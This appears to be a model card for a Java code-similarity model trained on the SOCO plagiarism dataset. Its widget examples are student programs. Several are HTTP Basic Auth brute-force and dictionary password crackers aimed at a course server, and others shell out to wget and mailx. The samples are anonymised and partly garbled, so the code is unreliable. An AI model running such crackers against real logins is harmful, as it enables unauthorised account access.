Model: buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-1
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, base_model:microsoft/unixcoder-base-unimodal, base_model:finetune:microsoft/unixcoder-base-unimodal, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/unixcoder-base-unimodal
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget: source_sentence: 
import java.io.*;
import java.util.Vector;
import java.util.Date;


interface UnaryPredicate {
  boolean execute(Object obj);
}


public class DiffPrint {
  
  static String outFile="";

  public static abstract class Base {
    protected Base(Object[] a,Object[] b) {
	try
	{
      outfile = new PrintWriter(new FileWriter(outFile));		
	}
	catch (Exception e)
	{
		e.printStackTrace();
	}
      file0 = a;
      file1 = b;
    }
    
    protected UnaryPredicate ignore = null;

    
    protected Object[] file0, file1;

    
    public void print_script(Diff.change script) {
      Diff.change next = script;

      while (next != null)
        {
          Diff.change t, end;

          
          t = next;
          end = hunkfun(next);

          
          next = end;
          end = null;
          
          

          
          print_hunk(t);

          
          end = next;
        }
        outfile.flush();
    }

    

    protected Diff.change hunkfun(Diff.change hunk) {
      return hunk;
    }

    protected int first0, last0, first1, last1, deletes, inserts;
    protected PrintWriter outfile;

    

    protected void analyze_hunk(Diff.change hunk) {
      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;
      int i;
      Diff.change next;
      boolean nontrivial = (ignore == null);

      show_from = show_to = 0;

      f0 = hunk.line0;
      f1 = hunk.line1;

      for (next = hunk; next != null; next = next.next())
        {
          l0 = next.line0 + next.deleted - 1;
          l1 = next.line1 + next.inserted - 1;
          show_from += next.deleted;
          show_to += next.inserted;
          for (i = next.line0; i <= l0 && ! nontrivial; i++)
            if (!ignore.execute(file0[i]))
              nontrivial = true;
          for (i = next.line1; i <= l1 && ! nontrivial; i++)
            if (!ignore.execute(file1[i]))
              nontrivial = true;
        }

      first0 = f0;
      last0 = l0;
      first1 = f1;
      last1 = l1;

      

      if (!nontrivial)
        show_from = show_to = 0;

      deletes = show_from;
      inserts = show_to;
    }

    
    protected void print_header(String filea, String fileb) { }

    protected abstract void print_hunk(Diff.change hunk);
    
    protected void print_1_line(String pre,Object linbuf) {
      outfile.println(pre + linbuf.toString());
    }

    

    protected void print_number_range (char sepchar, int a, int b) {
      
      if (++b > ++a)
        outfile.print("" + a + sepchar + b);
      else
        outfile.print(b);
    }

    public static char change_letter(int inserts, int deletes) {
      if (inserts == 0)
        return 'd';
      else if (deletes == 0)
        return 'a';
      else
        return 'c';
    }
  }

  
  public static class NormalPrint extends Base {

    public NormalPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    

    protected void print_hunk (Diff.change hunk) {

      
      analyze_hunk(hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.print(change_letter(inserts, deletes));
      print_number_range (',', first1, last1);
      outfile.println();

      
      if (deletes != 0)
        for (int i = first0; i <= last0; i++)
          print_1_line ("< ", file0[i]);

      if (inserts != 0 && deletes != 0)
        outfile.println("---");

      
      if (inserts != 0)
        for (int i = first1; i <= last1; i++)
          print_1_line ("> ", file1[i]);
    }
  }

  
  public static class EdPrint extends Base {

    public EdPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    
    protected void print_hunk(Diff.change hunk) {

      
      analyze_hunk (hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.println(change_letter(inserts, deletes));

      
      if (inserts != 0)
        {
          boolean inserting = true;
          for (int i = first1; i <= last1; i++)
            {
              
              if (! inserting)
                outfile.println(i - first1 + first0 + "a");
              inserting = true;

              

              if (".".equals(file1[i]))
                {
                  outfile.println("..");
                  outfile.println(".");
                  
                  outfile.println(i - first1 + first0 + 1 + "s/^\\.\\././");
                  inserting = false;
                }
              else
                
                print_1_line ("", file1[i]);
            }

          
          if (inserting)
            outfile.println(".");
        }
    }
  }

  
  public static class ContextPrint extends Base {

    protected int context = 3;

    public ContextPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    protected void print_context_label (String cad, File inf, String label) {
      if (label != null)
        outfile.println(cad + ' ' + label);
      else if (inf.lastModified() > 0)
        
        outfile.println(
          cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified())
        );
      else
        
        outfile.println( cad + ' ' + inf.getPath());
    }

    public void print_header(String filea,String fileb) {
      print_context_label ("***", new File(filea), filea);
      print_context_label ("---", new File(fileb), fileb);
    }

    
    private String find_function(Object[] lines, int x) {
      return null;
    }

    protected void print_function(Object[] file,int x) {
      String function = find_function (file0, first0);
      if (function != null) {
        outfile.print(" ");
        outfile.print(
          (function.length() < 40) ? function : function.substring(0,40)
        );
      }
    }

    protected void print_hunk(Diff.change hunk) {

      

      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);


      outfile.print("***************");

      
      print_function (file0, first0);

      outfile.println();
      outfile.print("*** ");
      print_number_range (',', first0, last0);
      outfile.println(" ****");

      if (deletes != 0) {
        Diff.change next = hunk;

        for (int i = first0; i <= last0; i++) {
          

          while (next != null && next.line0 + next.deleted <= i)
            next = next.next;

          

          String prefix = " ";
          if (next != null && next.line0 <= i)
            
            prefix = (next.inserted > 0) ? "!" : "-";

          print_1_line (prefix, file0[i]);
        }
      }

      outfile.print("--- ");
      print_number_range (',', first1, last1);
      outfile.println(" ----");

      if (inserts != 0) {
        Diff.change next = hunk;

        for (int i = first1; i <= last1; i++) {
          

          while (next != null && next.line1 + next.inserted <= i)
            next = next.next;

          

          String prefix = " ";
          if (next != null && next.line1 <= i)
            
            prefix = (next.deleted > 0) ? "!" : "+";

          print_1_line (prefix, file1[i]);
        }
      }
    }
  }

  
  public static class UnifiedPrint extends ContextPrint {

    public UnifiedPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    public void print_header(String filea,String fileb) {
      print_context_label ("---", new File(filea), filea);
      print_context_label ("+++", new File(fileb), fileb);
    }

    private void print_number_range (int a, int b) {
      

      
      if (b < a)
        outfile.print(b + ",0");
      else
        super.print_number_range(',',a,b);
    }

    protected void print_hunk(Diff.change hunk) {
      
      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);



      outfile.print("@@ -");
      print_number_range (first0, last0);
      outfile.print(" +");
      print_number_range (first1, last1);
      outfile.print(" @@");

      
      print_function(file0,first0);

      outfile.println();

      Diff.change next = hunk;
      int i = first0;
      int j = first1;

      while (i <= last0 || j <= last1) {

        

        if (next == null || i < next.line0) {
          outfile.print(' ');
          print_1_line("", file0[i++]);
          j++;
        }
        else {
          

          int k = next.deleted;
          while (k-- > 0) {
            outfile.print('-');
            print_1_line("", file0[i++]);
          }

          

          k = next.inserted;
          while (k-- > 0) {
            outfile.print('+');
            print_1_line("", file1[j++]);
          }

          

          next = next.next;
        }
      }
    }
  }


  
  static String[] slurp(String file) throws IOException {
    BufferedReader rdr = new BufferedReader(new FileReader(file));
    Vector s = new Vector();
    for (;;) {
      String line = rdr.readLine();
      if (line == null) break;
      s.addElement(line);
    }
    String[] a = new String[s.size()];
    s.copyInto(a);
    return a;
  }


  public static String getDiff(String filea,String fileb,String filec) throws IOException {
	DiffPrint.outFile=filec;
	String msg="";
	String[] a = slurp(filea);
    String[] b = slurp(fileb);
	String [] argv={filea,fileb};
    Diff d = new Diff(a,b);
    char style = 'n';
    for (int i = 0; i < argv.length - 2; ++i) {
      String f = argv[i];
      if (f.startsWith("-")) {
        for (int j = 1; j < f.length(); ++j) {
          switch (f.charAt(j)) {
           case 'e':     
            style = 'e'; break;
            case 'c':     
            style = 'c'; break;
          case  'u':
            style = 'u'; break;
          }
        }
      }
    }
    boolean reverse = style == 'e';
    Diff.change script = d.diff_2(reverse);
    if (script == null)
      msg="The text  the  has not changed.\n";
    else {
    Base p;
      msg="The text  the  has changed.\n The Diff Output is : \n\n";
      switch (style) {
      case 'e':
        p = new EdPrint(a,b); break;
       case'c':
        p = new ContextPrint(a,b); break;
      case 'u':
        p = new UnifiedPrint(a,b); break;
      default:
        p = new NormalPrint(a,b);
      }
      p.print_header(filea,fileb);
      p.print_script(script);
    }
	return msg;
  }
}

sentences: import java.net.*;
import java.io.*;


public class EmailClient
{
	private String sender, recipient, hostName;

	public EmailClient(String nSender, String nRecipient, String nHost)
	{
		sender = nSender;
		recipient = nRecipient;
		hostName = nHost;
	}

	public void sendMail(String subject, String message)
	{
		try
		{
			Socket s1=null;
			InputStream	is = null;
			OutputStream os = null;

			DataOutputStream  = null;

			s1 = new Socket(hostName,25);
			is = s1.getInputStream();
			os = s1.getOutputStream();

			bd = new DataOutputStream(os);

			BufferedReader response = new BufferedReader(new InputStreamReader(is));

			bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

			waitForSuccessResponse(response);

			bd.writeBytes("MAIL FROM:"+sender+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("RCPT :"+recipient+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("data"+"\n");

			bd.writeBytes("Subject:"+subject+"\n");

			bd.writeBytes(message+"\n.\n");

			waitForSuccessResponse(response);
		}

		catch (UnknownHostException badUrl)
		{
			System.out.println("Host unknown.");
		}

		catch (EOFException eof)
		{
			System.out.println("<EOF>");
		}
		catch (Exception e)
		{
			System.out.println("got exception: "+e);
		}
	}

	private static void	waitForSuccessResponse(BufferedReader response) throws IOException
	{
		String rsp;
		boolean r250 = false;

		while( ! r250 )
		{
			rsp = response.readLine().trim();

			if(rsp.startsWith("250"))
				r250 = true;
		}

	}
}, import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, import java.util.*;
import java.io.*;



public class WatchDog {

  public WatchDog() {

  }
  public static void  main(String args[]) {
    DataInputStream newin;

    try{


      System.out.println("Downloading first copy");
      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
      String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println("Downloading new copy");
            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( "Diff.txt"));
            if (newin.readLine() != null){
               System.out.println("Sending Mail");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec("cp newfile.html oldfile.html");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}, source_sentence: 
import java.io.*;
import java.util.Vector;
import java.util.Date;


interface UnaryPredicate {
  boolean execute(Object obj);
}


public class DiffPrint {
  
  static String outFile="";

  public static abstract class Base {
    protected Base(Object[] a,Object[] b) {
	try
	{
      outfile = new PrintWriter(new FileWriter(outFile));		
	}
	catch (Exception e)
	{
		e.printStackTrace();
	}
      file0 = a;
      file1 = b;
    }
    
    protected UnaryPredicate ignore = null;

    
    protected Object[] file0, file1;

    
    public void print_script(Diff.change script) {
      Diff.change next = script;

      while (next != null)
        {
          Diff.change t, end;

          
          t = next;
          end = hunkfun(next);

          
          next = end;
          end = null;
          
          

          
          print_hunk(t);

          
          end = next;
        }
        outfile.flush();
    }

    

    protected Diff.change hunkfun(Diff.change hunk) {
      return hunk;
    }

    protected int first0, last0, first1, last1, deletes, inserts;
    protected PrintWriter outfile;

    

    protected void analyze_hunk(Diff.change hunk) {
      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;
      int i;
      Diff.change next;
      boolean nontrivial = (ignore == null);

      show_from = show_to = 0;

      f0 = hunk.line0;
      f1 = hunk.line1;

      for (next = hunk; next != null; next = next.next())
        {
          l0 = next.line0 + next.deleted - 1;
          l1 = next.line1 + next.inserted - 1;
          show_from += next.deleted;
          show_to += next.inserted;
          for (i = next.line0; i <= l0 && ! nontrivial; i++)
            if (!ignore.execute(file0[i]))
              nontrivial = true;
          for (i = next.line1; i <= l1 && ! nontrivial; i++)
            if (!ignore.execute(file1[i]))
              nontrivial = true;
        }

      first0 = f0;
      last0 = l0;
      first1 = f1;
      last1 = l1;

      

      if (!nontrivial)
        show_from = show_to = 0;

      deletes = show_from;
      inserts = show_to;
    }

    
    protected void print_header(String filea, String fileb) { }

    protected abstract void print_hunk(Diff.change hunk);
    
    protected void print_1_line(String pre,Object linbuf) {
      outfile.println(pre + linbuf.toString());
    }

    

    protected void print_number_range (char sepchar, int a, int b) {
      
      if (++b > ++a)
        outfile.print("" + a + sepchar + b);
      else
        outfile.print(b);
    }

    public static char change_letter(int inserts, int deletes) {
      if (inserts == 0)
        return 'd';
      else if (deletes == 0)
        return 'a';
      else
        return 'c';
    }
  }

  
  public static class NormalPrint extends Base {

    public NormalPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    

    protected void print_hunk (Diff.change hunk) {

      
      analyze_hunk(hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.print(change_letter(inserts, deletes));
      print_number_range (',', first1, last1);
      outfile.println();

      
      if (deletes != 0)
        for (int i = first0; i <= last0; i++)
          print_1_line ("< ", file0[i]);

      if (inserts != 0 && deletes != 0)
        outfile.println("---");

      
      if (inserts != 0)
        for (int i = first1; i <= last1; i++)
          print_1_line ("> ", file1[i]);
    }
  }

  
  public static class EdPrint extends Base {

    public EdPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    
    protected void print_hunk(Diff.change hunk) {

      
      analyze_hunk (hunk);
      if (deletes == 0 && inserts == 0)
        return;

      
      print_number_range (',', first0, last0);
      outfile.println(change_letter(inserts, deletes));

      
      if (inserts != 0)
        {
          boolean inserting = true;
          for (int i = first1; i <= last1; i++)
            {
              
              if (! inserting)
                outfile.println(i - first1 + first0 + "a");
              inserting = true;

              

              if (".".equals(file1[i]))
                {
                  outfile.println("..");
                  outfile.println(".");
                  
                  outfile.println(i - first1 + first0 + 1 + "s/^\\.\\././");
                  inserting = false;
                }
              else
                
                print_1_line ("", file1[i]);
            }

          
          if (inserting)
            outfile.println(".");
        }
    }
  }

  
  public static class ContextPrint extends Base {

    protected int context = 3;

    public ContextPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    protected void print_context_label (String cad, File inf, String label) {
      if (label != null)
        outfile.println(cad + ' ' + label);
      else if (inf.lastModified() > 0)
        
        outfile.println(
          cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified())
        );
      else
        
        outfile.println( cad + ' ' + inf.getPath());
    }

    public void print_header(String filea,String fileb) {
      print_context_label ("***", new File(filea), filea);
      print_context_label ("---", new File(fileb), fileb);
    }

    
    private String find_function(Object[] lines, int x) {
      return null;
    }

    protected void print_function(Object[] file,int x) {
      String function = find_function (file0, first0);
      if (function != null) {
        outfile.print(" ");
        outfile.print(
          (function.length() < 40) ? function : function.substring(0,40)
        );
      }
    }

    protected void print_hunk(Diff.change hunk) {

      

      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);


      outfile.print("***************");

      
      print_function (file0, first0);

      outfile.println();
      outfile.print("*** ");
      print_number_range (',', first0, last0);
      outfile.println(" ****");

      if (deletes != 0) {
        Diff.change next = hunk;

        for (int i = first0; i <= last0; i++) {
          

          while (next != null && next.line0 + next.deleted <= i)
            next = next.next;

          

          String prefix = " ";
          if (next != null && next.line0 <= i)
            
            prefix = (next.inserted > 0) ? "!" : "-";

          print_1_line (prefix, file0[i]);
        }
      }

      outfile.print("--- ");
      print_number_range (',', first1, last1);
      outfile.println(" ----");

      if (inserts != 0) {
        Diff.change next = hunk;

        for (int i = first1; i <= last1; i++) {
          

          while (next != null && next.line1 + next.inserted <= i)
            next = next.next;

          

          String prefix = " ";
          if (next != null && next.line1 <= i)
            
            prefix = (next.deleted > 0) ? "!" : "+";

          print_1_line (prefix, file1[i]);
        }
      }
    }
  }

  
  public static class UnifiedPrint extends ContextPrint {

    public UnifiedPrint(Object[] a,Object[] b) {
      super(a,b);
    }

    public void print_header(String filea,String fileb) {
      print_context_label ("---", new File(filea), filea);
      print_context_label ("+++", new File(fileb), fileb);
    }

    private void print_number_range (int a, int b) {
      

      
      if (b < a)
        outfile.print(b + ",0");
      else
        super.print_number_range(',',a,b);
    }

    protected void print_hunk(Diff.change hunk) {
      
      analyze_hunk (hunk);

      if (deletes == 0 && inserts == 0)
        return;

      

      first0 = Math.sqrt(first0 - context, 0);
      first1 = Math.sqrt(first1 - context, 0);
      last0 = Math.sqrt(last0 + context, file0.length - 1);
      last1 = Math.sqrt(last1 + context, file1.length - 1);



      outfile.print("@@ -");
      print_number_range (first0, last0);
      outfile.print(" +");
      print_number_range (first1, last1);
      outfile.print(" @@");

      
      print_function(file0,first0);

      outfile.println();

      Diff.change next = hunk;
      int i = first0;
      int j = first1;

      while (i <= last0 || j <= last1) {

        

        if (next == null || i < next.line0) {
          outfile.print(' ');
          print_1_line("", file0[i++]);
          j++;
        }
        else {
          

          int k = next.deleted;
          while (k-- > 0) {
            outfile.print('-');
            print_1_line("", file0[i++]);
          }

          

          k = next.inserted;
          while (k-- > 0) {
            outfile.print('+');
            print_1_line("", file1[j++]);
          }

          

          next = next.next;
        }
      }
    }
  }


  
  static String[] slurp(String file) throws IOException {
    BufferedReader rdr = new BufferedReader(new FileReader(file));
    Vector s = new Vector();
    for (;;) {
      String line = rdr.readLine();
      if (line == null) break;
      s.addElement(line);
    }
    String[] a = new String[s.size()];
    s.copyInto(a);
    return a;
  }


  public static String getDiff(String filea,String fileb,String filec) throws IOException {
	DiffPrint.outFile=filec;
	String msg="";
	String[] a = slurp(filea);
    String[] b = slurp(fileb);
	String [] argv={filea,fileb};
    Diff d = new Diff(a,b);
    char style = 'n';
    for (int i = 0; i < argv.length - 2; ++i) {
      String f = argv[i];
      if (f.startsWith("-")) {
        for (int j = 1; j < f.length(); ++j) {
          switch (f.charAt(j)) {
           case 'e':     
            style = 'e'; break;
            case 'c':     
            style = 'c'; break;
          case  'u':
            style = 'u'; break;
          }
        }
      }
    }
    boolean reverse = style == 'e';
    Diff.change script = d.diff_2(reverse);
    if (script == null)
      msg="The text  the  has not changed.\n";
    else {
    Base p;
      msg="The text  the  has changed.\n The Diff Output is : \n\n";
      switch (style) {
      case 'e':
        p = new EdPrint(a,b); break;
       case'c':
        p = new ContextPrint(a,b); break;
      case 'u':
        p = new UnifiedPrint(a,b); break;
      default:
        p = new NormalPrint(a,b);
      }
      p.print_header(filea,fileb);
      p.print_script(script);
    }
	return msg;
  }
}

sentences: 


import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;

import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce {
  
  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
  
  private int indices[] = {0,0,0};
  
  private String url = null;

  
  public BruteForce(String url) {
    this.url = url;

  }
  
  private int attempts = 0;
  private boolean stopGen = false;
  
  public String getNextPassword(){
    String nextPassword = "";
    for(int i = 0; i <indices.length ; i++){
      if(indices[indices.length -1 ] == passwordDataSet.length)
        return null;
      if(indices[i] == passwordDataSet.length ){
        indices[i] = 0;
        indices[i+1]++;
      }
      nextPassword = passwordDataSet[indices[i]]+nextPassword;

      if(i == 0)
        indices[0]++;

    }
    return nextPassword;
  }
  
  public void setIndices(int size){
    this.indices = new int[size];
    for(int i = 0; i < size; i++)
      this.indices[i] = 0;
  }
  public void setPasswordDataSet(String newDataSet){
    this.passwordDataSet = newDataSet.toCharArray();
  }
  
  public String crackPassword(String user) throws IOException, MalformedURLException{
    URL url = null;
    URLConnection urlConnection = null;
    String outcome = null;
    String  authorization = null;
    String password = null;
    BASE64Encoder b64enc = new BASE64Encoder();
    InputStream content = null;
    BufferedReader in = null;
    String line;
          int i = 0;
    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
      url = new URL(this.url);
      urlConnection = url.openConnection();
      urlConnection.setDoInput(true);
      urlConnection.setDoOutput(true);


      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
      urlConnection.setRequestProperty("Host", url.getHost());
      password = getNextPassword();
      if(password == null)
        return null;
      System.out.print(password);
      authorization = user + ":" + password;


      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));


outcome = urlConnection.getHeaderField(null); 



      this.attempts ++;
      urlConnection = null;
      url = null;

      if(this.attempts%51 == 0)
        for(int b = 0; b < 53;b++)
          System.out.print("\b \b");
      else
        System.out.print("\b\b\b.");

    }
    return password;
  }
  
  public int getAttempts(){
    return this.attempts;
  }
  public static void main (String[] args) {
    if(args.length != 2){
      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
      System.exit(1);
    }

    BruteForce bruteForce1 = new BruteForce(args[0]);
    try{
      Calendar cal1=null, cal2=null;
      cal1 = Calendar.getInstance();
      System.out.println("Cracking started at: " + cal1.getTime().toString());
      String password = bruteForce1.crackPassword(args[1]);
      if(password != null)
        System.out.println("\nPassword is: "+password);
      else
        System.out.println("\nPassword could not  retrieved!");
      cal2 = Calendar.getInstance();
      System.out.println("Cracking finished at: " + cal2.getTime().toString());
      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");
      System.out.println("Total attempts : "  + bruteForce1.getAttempts());

    }catch(MalformedURLException mue){
      mue.printStackTrace();
    }

    catch(IOException ioe){
      ioe.printStackTrace();
    }
  }
}, 





import java.util.*;
import java.io.*;

public class WatchDog
{	

	public static void main(String args[])
	{

           Runtime rt1 = Runtime.getRuntime();
	   Process prss1= null;

           try
            {
             prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
            }catch(java.io.IOException e){}

	   MyWatchDogTimer w = new MyWatchDogTimer();
	   Timer time = new Timer();
	   time.schedule(w,864000000,864000000);

		
	}
}
, package java.httputils;

import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class Dictionary extends BruteForce
{
    protected String wordFile;

    public Dictionary()
    {
        super();
    }

    public static void main(String[] args)
    {
        Dictionary dictionary = new Dictionary();

        if (args.length < 3)
        {
            System.out.println(dictionary.printUsage());
        }
        else
        {
            dictionary.setURL(args[0]);
            dictionary.setUserName(args[1]);
            dictionary.setWordFile(args[2]);

            if (args.length > 3)
            {
                dictionary.setFileName(args[3]);
            }
            dictionary.process();
            System.out.println(dictionary.printResult());
            System.exit(1);
        }
    }

    public void process()
    {
        attempts = 0;
        String password = "";
        
        setStart(new Timestamp(System.currentTimeMillis()));

        BufferedReader input = null;
        try
        {
            FileReader file = new FileReader(getWordFile());
            
            input = new BufferedReader(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println("File not found: " + getWordFile());
            System.exit(2);
        }

        try
        {
            while ((password = input.readLine()) != null)
            {
                try
                {
                    
                    attempts++;
                    BasicAuthHttpRequest req =
                        new BasicAuthHttpRequest(
                            getURL(),
                            getUserName(),
                            password);
                    setPassword(password);
                    setEnd(new Timestamp(System.currentTimeMillis()));
                    setContent(req.getContent().toString());

                    
                    if (getFileName() != null
                        && getFileName().length() > 0)
                    {
                        createReport();
                    }
                    return;
                }
                catch (MalformedURLException e)
                {
                    e.printStackTrace();
                    return;
                }
                catch (IOException e)
                {

                }
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));

    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** BruteForce proper usage **\n\n");
        s.append(
            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n");

        return s.toString();
    }
    
    public String getWordFile()
    {
        return wordFile;
    }

    
    public void setWordFile(String string)
    {
        wordFile = string;
    }

}
, source_sentence: 
import java.util.*;
import java.io.*;
import java.net.*;

class BruteForce
{

 public static void main (String a[])
 {
 
 final char [] alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z'};

 String pwd="";
 
 for(int i=0;i<52;i++)
 {
  for(int j=0;j<52;j++)
  {
   for(int k=0;k<52;k++)
   {
    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];
    String userPassword = ":"+pwd;
    RealThread myTh = new RealThread(i,userPassword);
    Thread th = new Thread( myTh );
    th.start();
    try
    {
     
     
     th.sleep(100);
    }
    catch(Exception e)
    {} 
   }
  }
 }


}


}


class RealThread implements Runnable
{
 private int num;
 private URL url;
 private HttpURLConnection uc =null;
 private String userPassword;
 private int responseCode = 100;
 public RealThread (int i, String userPassword)
 {
 try
 {
 url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
 }
 catch(Exception ex1)
 {
 }
 num = i;
 this.userPassword = userPassword;

 }
 
 public int getResponseCode()
 {

 return this.responseCode;
 }

 public void run()
 {
  try
  {
  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

  uc = (HttpURLConnection)url.openConnection();
  uc.setRequestProperty ("Authorization", " " + encoding);
  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);
  this.responseCode = uc.getResponseCode();
  
  if(uc.getResponseCode()==200)
  {
     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");
     System.exit(0);
  }

  }
  catch (Exception e) {
  System.out.println("Could not execute Thread "+num+" ");
  }
 }

}

sentences: 

import java.net.*;
import java.io.*;
import java.util.*;


public class PasswordCracker {
    
    
    private static final char  car= 'a';
    
    private static final char END   = 'z' + 1;
    
    
    public static final int BRUTEFORCE = 0;
    public static final int DICTIONARY = 1;
    
    
    String urlName = null;
    
    String user    = null;
    
    String filename = null;
    
    int method;
    
    
    int attempt_counter;
    
    
    public static void main(String[] args) {
        
        PasswordCracker cracker = null;
        
        if ((args.length == 3) && (args[2].equalsIgnoreCase("BRUTEFORCE"))) {
            
            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
        }
        else if ((args.length == 4) && (args[2].equalsIgnoreCase("DICTIONARY"))) {
            
            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
        }
        else {
            System.out.println("Syntax: java PasswordCracker <username> <url> BRUTEFORCE ");
            System.out.println("        java PasswordCracker <username> <url> DICTIONARY <sourcefile> ");
            System.exit(1);
        }
        
        cracker.run();
    }
    
    
    public PasswordCracker(String user, String url, int method, String file) {
        
        this.user     = user;
        this.urlName  = url;
        this.filename = file;
        
        this.method = method;
    }
    
    
    public boolean run() {
        
        String password;
         s = 0;
